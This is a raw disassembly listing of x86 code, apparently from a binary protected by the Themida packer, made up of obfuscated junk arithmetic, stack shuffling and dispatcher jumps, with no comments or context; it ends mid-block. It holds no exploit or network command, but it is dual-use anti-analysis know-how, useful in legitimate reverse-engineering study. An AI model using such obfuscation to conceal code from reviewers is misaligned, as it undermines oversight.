; FUNCTION CHUNK AT 0055E96C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055E981 SIZE 00000087 BYTES
; FUNCTION CHUNK AT 0055EA0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055EA1E SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0055EA83 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055EAB3 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055EADE SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0055EB13 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0055EB76 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0055EBD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055EC02 SIZE 00000053 BYTES
; FUNCTION CHUNK AT 0055EC66 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0055ED2D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0055ED72 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055EDAD SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0055EE06 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0055EE87 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055EE9C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0055EF01 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0055EF7F SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0055EFE6 SIZE 00000061 BYTES
; FUNCTION CHUNK AT 0055F058 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0055F096 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055F0DE SIZE 00000078 BYTES
; FUNCTION CHUNK AT 0055F165 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0055F198 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0055F1F0 SIZE 00000085 BYTES
; FUNCTION CHUNK AT 0055F28F SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055F2AF SIZE 000000B6 BYTES
; FUNCTION CHUNK AT 0055F370 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0055F395 SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0055F3DF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0055F3FE SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055F41A SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0055F440 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055F46D SIZE 00000040 BYTES
; FUNCTION CHUNK AT 0055F4B8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055F4DD SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0055F580 SIZE 00000088 BYTES
; FUNCTION CHUNK AT 0055F61D SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0055F67E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0055F6C9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055F710 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0055F768 SIZE 000000AE BYTES
; FUNCTION CHUNK AT 0055F833 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055F87B SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055F8C0 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 0055F92C SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0055F995 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0055F9C3 SIZE 0000003A BYTES
; FUNCTION CHUNK AT 0055FA1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055FA35 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0055FA86 SIZE 0000007B BYTES
; FUNCTION CHUNK AT 0055FB14 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055FB43 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055FB6A SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0055FBBF SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055FBE9 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0055FC1D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055FC38 SIZE 00000008 BYTES
sub esp, 4
push 0A90h
mov [esp+62h+var_64+2], esp
add [esp+62h+var_64+2], 4
pop [esp+62h+var_64+2]
sub esp, 4
jmp loc_55C44C
; ---------------------------------------------------------------------------
loc_559CA4: ; CODE XREF: sub_559C84+3309j
add esp, 4
pop esi
xor ebp, 1A5A418h
and eax, ebp
mov ebp, [esp+5Ah+var_5C+2]
push ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xor ebx, [esp+5Eh+var_60+2]
jmp loc_555DD0
; ---------------------------------------------------------------------------
loc_559CC7: ; CODE XREF: sub_559C84-18F9j
shr ebp, 6
push edx
mov edx, 0FF74FE4Ah
jmp loc_556499
; ---------------------------------------------------------------------------
loc_559CD5: ; CODE XREF: sub_559C84+1448j
mov edx, edi
mov edi, [esp+32h+var_34+2]
add esp, 4
add ebp, edx
mov edx, [esp+2Eh+var_30+2]
push ebx
mov ebx, esp
add ebx, 4
push edx
mov edx, 4
add ebx, edx
pop edx
jmp loc_55D0EF
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+32h+var_34+2]
jmp loc_558943
; ---------------------------------------------------------------------------
loc_559D02: ; CODE XREF: sub_559C84-4326j
sub bl, 0B4h
add bl, al
add bl, 0B4h
push ax
mov ah, 0F4h
sub bl, ah
pop ax
push ax
mov ah, 6
sub bl, ah
jmp loc_55B0FF
; ---------------------------------------------------------------------------
loc_559D1D: ; CODE XREF: sub_559C84-1FADj
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+3Eh+var_3E]
jmp loc_557F74
; ---------------------------------------------------------------------------
loc_559D33: ; CODE XREF: sub_559C84+690j
pop ecx
push ebp
mov ebp, 455669D8h
sub esp, 4
mov [esp+42h+var_42], esi
mov esi, 3E6203EFh
or esi, 5CEB572Fh
add esi, 1
add esi, 49004BBAh
push edi
jmp loc_55DC81
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+46h+var_46]
push edi
jmp loc_55F0FB
; ---------------------------------------------------------------------------
loc_559D67: ; CODE XREF: sub_559C84+2AABj
add ebx, 98080B0Ah
add edi, ebx
pop ebx
push eax
mov eax, edi
mov ebp, eax
pop eax
pop edi
add edx, ebp
jmp loc_558E1F
; ---------------------------------------------------------------------------
loc_559D7E: ; CODE XREF: Themida_:00557128j
push 23F6h
mov [esp+46h+var_46], edx
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp+4Ah+var_4A]
pop esp
push esp
pop [esp+4Ah+var_4A]
add [esp+46h+var_46], 4
pop edx
add edx, 4
push ebx
push edx
mov edx, 12BF2279h
inc edx
not edx
dec edx
xor edx, 0EF17A465h
jmp loc_55C2E6
; ---------------------------------------------------------------------------
loc_559DC1: ; CODE XREF: sub_559C84-6B5j
xor [esp+4Ah+var_4A], ebp
xor ebp, [esp+4Ah+var_4A]
mov esp, [esp+4Ah+var_4A]
mov [esp+4Ah+var_4A], edx
push eax
pushf
jmp loc_55CB56
; ---------------------------------------------------------------------------
loc_559DD4: ; CODE XREF: Themida_:0055F4B3j
sub word ptr [esp+52h+var_52+2], 3726h
add word ptr [esp+52h+var_52+2], 13CFh
jmp loc_554C88
; ---------------------------------------------------------------------------
loc_559DE7: ; CODE XREF: sub_559C84-620Aj
shr cl, 3
jmp loc_557C4D
; ---------------------------------------------------------------------------
loc_559DEF: ; CODE XREF: sub_559C84-5673j
add edx, 4
sub esp, 4
mov [esp+40h+var_42+2], ecx
mov ecx, 2
add edx, 181C6F30h
sub edx, ecx
sub edx, 181C6F30h
jmp loc_55627E
; ---------------------------------------------------------------------------
loc_559E13: ; CODE XREF: sub_559C84-258Dj
pop ecx
add esp, 4
add ebx, 2
xchg ebx, [esp+46h+var_46]
jmp loc_55B412
; ---------------------------------------------------------------------------
loc_559E25: ; CODE XREF: sub_559C84-50D2j
push edi
jmp loc_55C14A
; ---------------------------------------------------------------------------
loc_559E2B: ; CODE XREF: sub_559C84+28D2j
mov edi, 36DE09ADh
sub [esp+4Eh+var_46], edi
pop edi
pop ecx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_559E3B: ; CODE XREF: sub_559C84-BA5j
push small word ptr [eax]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_559E43: ; CODE XREF: sub_559C84-2715j
mov ebx, esp
jmp loc_5548A0
; ---------------------------------------------------------------------------
loc_559E4A: ; CODE XREF: sub_559C84+583Aj
sub ebx, esi
pop esi
mov esi, [esp+48h+var_4A+2]
jmp loc_55F496
; ---------------------------------------------------------------------------
loc_559E55: ; CODE XREF: sub_559C84+4BC4j
pop dword ptr [ebx]
jmp loc_55F9CB
; ---------------------------------------------------------------------------
loc_559E5C: ; CODE XREF: sub_559C84+1352j
xchg ebp, [esp+44h+var_46+2]
jmp loc_55FAEE
; ---------------------------------------------------------------------------
loc_559E64: ; CODE XREF: sub_559C84-592Dj
xor ebp, 0CD9677D0h
jmp loc_557759
; ---------------------------------------------------------------------------
loc_559E6F: ; CODE XREF: sub_559C84+2872j
pop eax
jmp loc_558A24
; ---------------------------------------------------------------------------
loc_559E75: ; CODE XREF: sub_559C84-1CB3j
push ecx
mov ecx, 217D7F03h
mov eax, 0EB06C24Dh
add eax, ecx
pop ecx
shl eax, 2
and eax, 11C16803h
inc eax
add eax, 102860F1h
xor eax, 202960F6h
mov esi, eax
pop eax
add ebp, 4076A96h
sub ebp, esi
push ecx
mov ecx, 6170017Fh
not ecx
neg ecx
xor ecx, 5B26151Fh
shl ecx, 1
xor ecx, 70AB43A8h
jmp loc_556343
; ---------------------------------------------------------------------------
loc_559EBE: ; CODE XREF: sub_55E640-937Bj
xor ebp, 44894FE2h
add ecx, ebp
pop ebp
mov edi, ecx
pop ecx
sub [esp+4Eh+var_4A], 2F312104h
add [esp+4Eh+var_4A], 504052D9h
add [esp+4Eh+var_4A], edi
sub [esp+4Eh+var_4A], 504052D9h
add [esp+4Eh+var_4A], 2F312104h
pop edi
pop ecx
sub esp, 4
jmp loc_556B68
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp+48h+var_4A+2], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_559F08: ; CODE XREF: sub_559C84+4E5j
xchg ebx, [esp+4Ch+var_4E+2]
pop esp
add ebx, 66C521D7h
jmp loc_55DEA6
; ---------------------------------------------------------------------------
loc_559F17: ; CODE XREF: sub_559C84+5542j
mov ax, 1A92h
sub word ptr [esp+48h+var_42], ax
pop ax
mov dx, word ptr [esp+46h+var_46]
add esp, 2
pop cx
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_559F30: ; CODE XREF: sub_559C84+4791j
xchg edi, [esp+40h+var_42+2]
pop esp
jmp loc_55DD91
; ---------------------------------------------------------------------------
push [esp+3Ch+var_3E+2]
pop eax
push 489Ah
mov [esp+40h+var_42+2], edi
push esp
pop edi
push ebp
push esi
mov esi, 7BE6431Fh
mov ebp, esi
pop esi
or ebp, 1AC92F0Ch
xor ebp, 54A35DCBh
add ebp, 0D0B3CD30h
add edi, 7C044A96h
add edi, ebp
sub edi, 7C044A96h
pop ebp
push esi
push ebp
mov ebp, 4
jmp loc_555156
; ---------------------------------------------------------------------------
loc_559F7E: ; CODE XREF: sub_559C84+3466j
or ch, 0ACh
or ch, 0A8h
sub ch, 9Eh
xor ch, 78h
shr ch, 7
neg ch
add ch, 0F1h
push ebx
mov bl, 77h
or bl, 8
xor bl, 8
or bl, 0ACh
push cx
mov cl, 31h
jmp loc_55B4BC
; ---------------------------------------------------------------------------
loc_559FA7: ; CODE XREF: sub_559C84+4859j
mov [esp+4Eh+var_4E], edi
mov edi, 0B4C6651Eh
add ebx, edi
pop edi
sub eax, ebx
mov ebx, [esp+4Ah+var_4A]
add esp, 4
push ecx
push eax
mov eax, 15A27FF4h
add eax, 0EF369179h
mov ecx, eax
pop eax
and ecx, 38F45342h
push esi
mov esi, 7AF769F0h
sub esi, 0C7AEE984h
sub ecx, esi
pop esi
xor eax, ecx
push [esp+4Ah+var_4A]
pop ecx
push ebx
mov ebx, esp
push eax
mov eax, 3F431FAFh
dec eax
shl eax, 7
push ebx
push ecx
jmp loc_553DEB
; ---------------------------------------------------------------------------
loc_559FFB: ; CODE XREF: sub_559C84+3220j
push ebx
sub esp, 4
mov [esp+62h+var_64+2], eax
jmp loc_554D20
; ---------------------------------------------------------------------------
mov sp, word ptr [esp+62h+var_64+2]
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A010: ; DATA XREF: Themida_:00553448o
push [esp+62h+var_64+2]
mov ecx, [esp+0]
jmp loc_55D352
; ---------------------------------------------------------------------------
loc_55A01B: ; CODE XREF: sub_559C84+1BD7j
pop edx
jmp loc_558065
; ---------------------------------------------------------------------------
loc_55A021: ; CODE XREF: sub_559C84-7Dj
sub edx, 47942D5h
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A02C: ; CODE XREF: sub_559C84+2FCFj
pop edx
add al, 74h
jmp loc_55EDAD
; ---------------------------------------------------------------------------
loc_55A034: ; CODE XREF: Themida_:0055E13Cj
xor eax, ebx
sub esp, 4
mov [esp+56h+var_58+2], edi
mov edi, 7AA70F44h
push ebp
mov ebp, esp
add ebp, 4
push ecx
mov ecx, 4
sub ebp, ecx
mov ecx, [esp+5Eh+var_60+2]
jmp loc_555CA7
; ---------------------------------------------------------------------------
loc_55A05A: ; CODE XREF: sub_559C84-4B69j
pop ebp
push dword ptr [edi+1Ch]
push esi
mov esi, 7D674C2Ch
add [esp-0Ah+arg_8+2], esi
pop esi
mov ecx, [esp-0Eh+arg_8+2]
push edi
mov edi, esp
add edi, 4
sub edi, 4
jmp loc_55B7D7
; ---------------------------------------------------------------------------
loc_55A07D: ; CODE XREF: sub_559C84+A04j
sub dh, ah
add dh, 0B0h
sub esp, 4
jmp loc_557A82
; ---------------------------------------------------------------------------
loc_55A08D: ; CODE XREF: sub_559C84-2550j
add esi, 4
add esi, 4
push 70A0h
mov [esp+46h+var_46], esi
push [esp+46h+var_42]
pop esi
pop [esp+46h+var_46]
mov esp, [esp+42h+var_42]
jmp loc_555426
; ---------------------------------------------------------------------------
loc_55A0B1: ; CODE XREF: sub_559C84+C71j
sub bl, al
sub bl, 0A8h
jmp loc_55D308
; ---------------------------------------------------------------------------
loc_55A0BB: ; CODE XREF: Themida_:005599C1j
xor esi, [esp+42h+var_42]
xor [esp+42h+var_42], esi
jmp loc_5566D7
; ---------------------------------------------------------------------------
loc_55A0C6: ; CODE XREF: sub_559C84-3367j
push ebx
jmp loc_556208
; ---------------------------------------------------------------------------
loc_55A0CC: ; CODE XREF: sub_557ED1+6450j
pop ebx
jmp loc_555F08
; ---------------------------------------------------------------------------
loc_55A0D2: ; CODE XREF: sub_559C84+4891j
xor edi, [esp-1Eh+arg_18+2]
xor [esp-1Eh+arg_18+2], edi
jmp loc_55F67E
; ---------------------------------------------------------------------------
loc_55A0DD: ; CODE XREF: sub_559C84+518Cj
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A0E2: ; CODE XREF: sub_559C84-3A9Dj
xchg ecx, [esp+40h+var_42+2]
pop esp
shr eax, 8
xor eax, ecx
push eax
xor [esp+40h+var_42+2], ebp
xor ebp, [esp+40h+var_42+2]
xor [esp+40h+var_42+2], ebp
push ebp
xor [esp+44h+var_46+2], edi
jmp loc_55F64F
; ---------------------------------------------------------------------------
loc_55A0FE: ; CODE XREF: sub_558756+9j
add esi, edi
sub esi, 2B2D1C06h
pop edi
xchg esi, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
sar byte ptr [esp+40h+var_42+2], cl
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A116: ; CODE XREF: sub_559C84+5D74j
add ecx, esi
pop esi
xchg ecx, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
push edi
mov edi, esp
jmp loc_55ABAE
; ---------------------------------------------------------------------------
loc_55A127: ; DATA XREF: Themida_:005534B0o
mov cx, word ptr [esp+44h+var_46+2]
push edi
mov edi, esp
jmp sub_557AD1
; ---------------------------------------------------------------------------
loc_55A133: ; CODE XREF: sub_559C84+2D7Dj
pop esi
sub esi, 0EFEFF66Ch
jmp loc_55C71C
; ---------------------------------------------------------------------------
loc_55A13F: ; CODE XREF: sub_559C84+B10j
add ch, bl
pop ebx
jmp loc_553985
; ---------------------------------------------------------------------------
loc_55A147: ; CODE XREF: sub_559C84-5AC8j
mov [esp+8+var_8], eax
jmp loc_55E5B2
; ---------------------------------------------------------------------------
loc_55A14F: ; CODE XREF: sub_559C84+8DEj
xor ebp, [esp+8+var_8]
jmp loc_555208
; ---------------------------------------------------------------------------
loc_55A157: ; CODE XREF: sub_55598B+3C90j
pop eax
and ebx, ebp
mov ebp, [esp+4+var_4]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_559F08
; ---------------------------------------------------------------------------
loc_55A16E: ; CODE XREF: sub_5597C1+5997j
push edx
push esp
jmp loc_5540A7
; ---------------------------------------------------------------------------
loc_55A175: ; CODE XREF: sub_559C84+1A29j
push edx
jmp loc_55D52C
; ---------------------------------------------------------------------------
loc_55A17B: ; CODE XREF: Themida_:005554A8j
add edi, 4
add edi, 2
xor edi, [esp+14h+var_14]
xor [esp+14h+var_14], edi
xor edi, [esp+14h+var_14]
pop esp
mov cx, word ptr [esp+10h+var_10]
push edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+18h+var_18]
pop esp
jmp loc_558664
; ---------------------------------------------------------------------------
loc_55A1A8: ; CODE XREF: sub_553D58+AF6Fj
push ebp
mov ebp, esp
push edi
mov edi, 5D9E3986h
push eax
mov eax, 202A73C0h
xor edi, eax
pop eax
xor edi, 7DB44A42h
add ebp, edi
pop edi
add ebp, 4
jmp loc_555FF4
; ---------------------------------------------------------------------------
loc_55A1CB: ; CODE XREF: sub_559C84+2A81j
pop ebx
mov eax, esi
mov esi, [esp+14h+var_14]
jmp loc_55406C
; ---------------------------------------------------------------------------
loc_55A1D6: ; CODE XREF: sub_559C84+BFDj
mov edi, esp
jmp loc_55F4C3
; ---------------------------------------------------------------------------
loc_55A1DD: ; CODE XREF: Themida_:0055970Ej
mov [esp+14h+var_14], edx
mov edx, 4
add eax, edx
pop edx
jmp loc_55D748
; ---------------------------------------------------------------------------
loc_55A1ED: ; CODE XREF: sub_559C84+3E27j
mov [esp+10h+var_10], edx
jmp loc_559BA6
; ---------------------------------------------------------------------------
loc_55A1F5: ; CODE XREF: sub_559C84+28A2j
mov ecx, 4D33588Ah
shr ecx, 3
sub ecx, 6EB54A2Ch
xchg esi, ecx
not esi
xchg esi, ecx
push ecx
push esi
pop ecx
pop esi
jmp loc_55365B
; ---------------------------------------------------------------------------
loc_55A212: ; CODE XREF: sub_559C84+4F0Ej
and ch, 77h
jmp loc_55A264
; ---------------------------------------------------------------------------
loc_55A21A: ; CODE XREF: sub_559C84+386Dj
add ebp, 76FD7F09h
pop eax
not ebp
inc ebp
push ebx
jmp loc_553A8D
; ---------------------------------------------------------------------------
loc_55A22A: ; CODE XREF: sub_559C84-5BC8j
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A22F: ; CODE XREF: sub_5556C9+11j
xchg ecx, [esp-4+arg_0]
jmp $+5
pop esp
add edi, 4
jmp loc_55B4F5
; ---------------------------------------------------------------------------
loc_55A243: ; CODE XREF: sub_559C84-209Aj
pop dx
sub al, 49h
add al, 69h
jmp loc_5573DB
; ---------------------------------------------------------------------------
loc_55A24E: ; CODE XREF: sub_5553CB+2A7Dj
pop esp
add edx, 605939F2h
sub edx, esi
push ebx
mov ebx, 605939F2h
sub edx, ebx
jmp loc_55E9D9
; ---------------------------------------------------------------------------
loc_55A264: ; CODE XREF: sub_559C84+591j
not ch
inc ch
sub ch, 0D6h
jmp loc_555032
; ---------------------------------------------------------------------------
loc_55A270: ; CODE XREF: sub_559C84+269Cj
mov ebp, 49046F5Fh
sub edx, 28656DD1h
add edx, ebp
jmp loc_55DB5C
; ---------------------------------------------------------------------------
loc_55A282: ; CODE XREF: sub_5538DF+5AA4j
add al, 20h
add al, ch
jmp sub_553D58
; ---------------------------------------------------------------------------
loc_55A28B: ; CODE XREF: sub_559C84+3D45j
push 547Ah
jmp loc_55D609
; ---------------------------------------------------------------------------
loc_55A295: ; CODE XREF: sub_559C84-31CFj
pop edx
add bl, al
jmp loc_558571
; ---------------------------------------------------------------------------
loc_55A29D: ; CODE XREF: sub_559C84-8E2j
push eax
mov eax, esp
add eax, 4
jmp loc_55802B
; ---------------------------------------------------------------------------
lodsb
push edx
mov dl, 0F5h
sub al, 7Ch
jmp loc_55A8AF
; ---------------------------------------------------------------------------
loc_55A2B5: ; CODE XREF: sub_559C84+566Cj
pop edi
push ebx
mov ebx, esp
jmp loc_559220
; ---------------------------------------------------------------------------
loc_55A2BE: ; CODE XREF: sub_559C84-36E1j
pop esp
sub esp, 4
mov [esp+44h+var_46+2], ecx
mov ecx, 0C4C16CDh
and ecx, 6CB71A71h
xor ecx, esi
xor esi, ecx
xor ecx, esi
push 6413h
mov [esp+48h+var_4A+2], esi
not [esp+48h+var_4A+2]
mov esi, [esp+48h+var_4A+2]
add esp, 4
xchg esi, ecx
push ebp
mov ebp, 0C041342h
jmp loc_553EE9
; ---------------------------------------------------------------------------
loc_55A2FA: ; CODE XREF: sub_559C84+1D73j
or ecx, 677C6D79h
add ecx, 6FF5297Ah
and ecx, 117036F9h
xor ecx, 5BD43E48h
mov edx, ecx
jmp loc_559D33
; ---------------------------------------------------------------------------
loc_55A319: ; CODE XREF: sub_559C84-44C9j
push edx
mov edx, 4B34268h
sub eax, edx
pop edx
pop ebp
push ebp
mov ebp, 2
sub eax, 107A18D4h
add eax, ebp
push edx
jmp loc_5593DF
; ---------------------------------------------------------------------------
loc_55A336: ; CODE XREF: Themida_:0055EE01j
push esp
jmp loc_55D977
; ---------------------------------------------------------------------------
loc_55A33C: ; CODE XREF: sub_559C84-3E0Cj
pop edx
mov esi, [esp+4Ah+var_4A]
add esp, 4
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A348: ; CODE XREF: sub_559C84+3D14j
pop esp
xor edx, [esp+42h+var_42]
xor [esp+42h+var_42], edx
xor edx, [esp+42h+var_42]
pop esp
jmp loc_55EA83
; ---------------------------------------------------------------------------
loc_55A358: ; CODE XREF: sub_559C84+273Fj
sub eax, esi
pop esi
sub eax, ebx
push ebp
push ebx
mov ebx, 56753F61h
mov ebp, 7BCB9F37h
jmp loc_55FBE9
; ---------------------------------------------------------------------------
loc_55A36E: ; CODE XREF: sub_559C84+29ECj
add ecx, edi
add ecx, 195A52B4h
pop edi
inc ecx
add ecx, 52751F53h
sub esp, 4
mov [esp+42h+var_42], edi
mov edi, 1278F895h
xor ecx, edi
pop edi
jmp loc_55D045
; ---------------------------------------------------------------------------
loc_55A394: ; CODE XREF: sub_559C84+3A24j
inc bl
and bl, 74h
xor bl, 93h
sub cl, bl
pop ebx
or cl, 9Ch
sub cl, 2Fh
sub al, cl
pop ecx
sub al, 9Fh
add al, 0A1h
add al, 2
add al, bl
jmp loc_55E256
; ---------------------------------------------------------------------------
loc_55A3B5: ; CODE XREF: sub_559C84+4F95j
pop edx
xchg edi, [esp+32h+var_34+2]
mov esp, [esp+32h+var_34+2]
mov word ptr [esp+32h+var_34+2], ax
mov ah, 7Eh
add bl, 9Ch
sub bl, ah
sub bl, 9Ch
pop ax
add bl, 28h
sub bl, 19h
jmp loc_557358
; ---------------------------------------------------------------------------
loc_55A3D7: ; CODE XREF: sub_559C84+223Cj
push [esp+30h+var_30]
mov eax, [esp+34h+var_34]
add esp, 4
jmp loc_554C2B
; ---------------------------------------------------------------------------
loc_55A3E5: ; CODE XREF: sub_559C84-5AADj
add esp, 4
jmp loc_555D36
; ---------------------------------------------------------------------------
loc_55A3ED: ; CODE XREF: sub_559C84+5527j
mov word ptr [esp+4+var_4], dx
push ax
pushf
jmp loc_559A23
; ---------------------------------------------------------------------------
loc_55A3F9: ; CODE XREF: sub_559C84+1861j
push ecx
mov ch, 0C5h
dec ch
push eax
mov al, 16h
shl al, 2
not al
push ecx
mov cl, 0D6h
add cl, 0A4h
jmp loc_559A7F
; ---------------------------------------------------------------------------
loc_55A411: ; CODE XREF: sub_559C84+5149j
pop ecx
xor bh, 26h
add al, bh
jmp loc_553632
; ---------------------------------------------------------------------------
loc_55A41C: ; CODE XREF: sub_559C84+4FADj
bts word ptr [esp+12h+var_14+2], ax
pushf
jmp loc_55351F
; ---------------------------------------------------------------------------
loc_55A427: ; CODE XREF: sub_559C84-4760j
mov ecx, 612B142Ah
jmp loc_556D48
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb byte ptr [esp+0Ah+var_C+2], al
pushf
jmp loc_554C83
; ---------------------------------------------------------------------------
loc_55A440: ; CODE XREF: sub_559C84-25Bj
pop eax
loc_55A441: ; CODE XREF: sub_559C84-38AFj
push 32F7h
mov [esp-20h+arg_1C], ebx
push [esp-20h+arg_1C]
push [esp-1Ch+arg_18]
jmp loc_55D36A
; ---------------------------------------------------------------------------
loc_55A454: ; CODE XREF: sub_559C84-1379j
pop ecx
sub ebp, edx
mov edx, [esp+4Ah+var_4A]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4Eh+var_4E]
pop esp
and eax, ebp
jmp loc_55E4E2
; ---------------------------------------------------------------------------
loc_55A470: ; CODE XREF: sub_559C84-4F3Ej
push edx
mov edx, esp
add edx, 4
jmp loc_55BE00
; ---------------------------------------------------------------------------
loc_55A47E: ; CODE XREF: sub_559C84-148Dj
mov [esp+34h+var_34], ecx
push eax
mov eax, 310A69D7h
jmp loc_558E58
; ---------------------------------------------------------------------------
loc_55A48C: ; CODE XREF: sub_5559F0+8EB1j
add edi, ebx
push [esp+38h+var_3A+2]
jmp loc_55870A
; ---------------------------------------------------------------------------
loc_55A496: ; CODE XREF: sub_559C84+376Aj
mov edi, 331246BAh
neg edi
neg edi
shl edi, 5
add edi, 0F6C08F35h
jmp loc_55BF10
; ---------------------------------------------------------------------------
loc_55A4AD: ; CODE XREF: sub_559C84+5F30j
mov ebx, [esp+3Ch+var_3E+2]
add esp, 4
std
jmp loc_55B462
; ---------------------------------------------------------------------------
loc_55A4B9: ; CODE XREF: sub_559C84-3B69j
add esi, 4
add esi, 4
xchg esi, [esp+40h+var_42+2]
jmp loc_55B727
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+40h+var_42+2]
push ebx
sub esp, 4
mov [esp+48h+var_4A+2], esp
add [esp+48h+var_4A+2], 4
push [esp+48h+var_4A+2]
pop ebx
jmp loc_55618F
; ---------------------------------------------------------------------------
loc_55A4E8: ; CODE XREF: sub_559C84+990j
pop edi
jmp loc_557939
; ---------------------------------------------------------------------------
loc_55A4EE: ; CODE XREF: sub_559C84+2EBBj
add esp, 4
push ecx
push [esp+44h+var_42+2]
pop ecx
pop [esp+44h+var_46+2]
mov esp, [esp+40h+var_42+2]
push [esp+40h+var_42+2]
jmp loc_55BFD5
; ---------------------------------------------------------------------------
loc_55A508: ; CODE XREF: sub_559C84-1081j
mov bl, 8Dh
neg bl
add bl, 12h
jmp loc_55535D
; ---------------------------------------------------------------------------
loc_55A514: ; CODE XREF: Themida_:0055719Fj
add eax, esi
mov esi, [esp+28h+var_28]
add esp, 4
xor eax, [esp+24h+var_24]
jmp loc_55ADF6
; ---------------------------------------------------------------------------
loc_55A527: ; CODE XREF: Themida_:00555BF7j
mov [esp+24h+var_24], ecx
push edx
mov dl, 0D5h
jmp loc_558910
; ---------------------------------------------------------------------------
loc_55A532: ; CODE XREF: Themida_:00555927j
push 0D4Bh
jmp loc_557995
; ---------------------------------------------------------------------------
loc_55A53C: ; CODE XREF: sub_559C84+3123j
xor al, cl
mov cx, word ptr [esp+2Ch+var_2C]
push esi
mov esi, esp
add esi, 4
add esi, 2
xchg esi, [esp+30h+var_30]
jmp loc_55694E
; ---------------------------------------------------------------------------
loc_55A556: ; CODE XREF: sub_559C84+5300j
pop edi
add ebp, edi
mov edi, [esp+2Ch+var_2C]
add esp, 4
jmp loc_55A14F
; ---------------------------------------------------------------------------
loc_55A567: ; CODE XREF: sub_559C84+1A3Dj
add esp, 4
pop edx
xor esi, [esp+20h+var_20]
xor [esp+20h+var_20], esi
xor esi, [esp+20h+var_20]
pop esp
div cl
movzx cx, ah
push esi
push 2429h
mov [esp+24h+var_24], esp
push ebx
jmp loc_55B6F0
; ---------------------------------------------------------------------------
loc_55A58A: ; CODE XREF: sub_559C84-1D6Aj
sub ebp, 0F932DD69h
add edx, ebp
pop ebp
add edx, 4
xchg edx, [esp+1Ch+var_1C]
pop esp
push ebx
jmp loc_559B0D
; ---------------------------------------------------------------------------
loc_55A5A3: ; CODE XREF: sub_559C84-770j
push 17F6h
jmp loc_556A91
; ---------------------------------------------------------------------------
loc_55A5AD: ; CODE XREF: sub_559C84-1640j
pop edi
xchg edx, [esp+0]
pop esp
push 10B2h
mov [esp+0], edx
mov edx, 28A630B0h
add edx, 0FFFFFFFFh
push esi
jmp sub_5553CB
; ---------------------------------------------------------------------------
loc_55A5C8: ; CODE XREF: sub_559C84+3948j
push ebx
mov ebx, 4
add eax, ebx
pop ebx
push eax
push [esp+3Eh+var_3A]
mov eax, [esp+42h+var_42]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+46h+var_46]
pop esp
pop [esp+42h+var_42]
pop esp
or edx, eax
shl edx, 1
push 1ADCh
mov [esp+3Eh+var_3E], ebp
mov ebp, 0FFFFFFFFh
sub [edi+24h], ebp
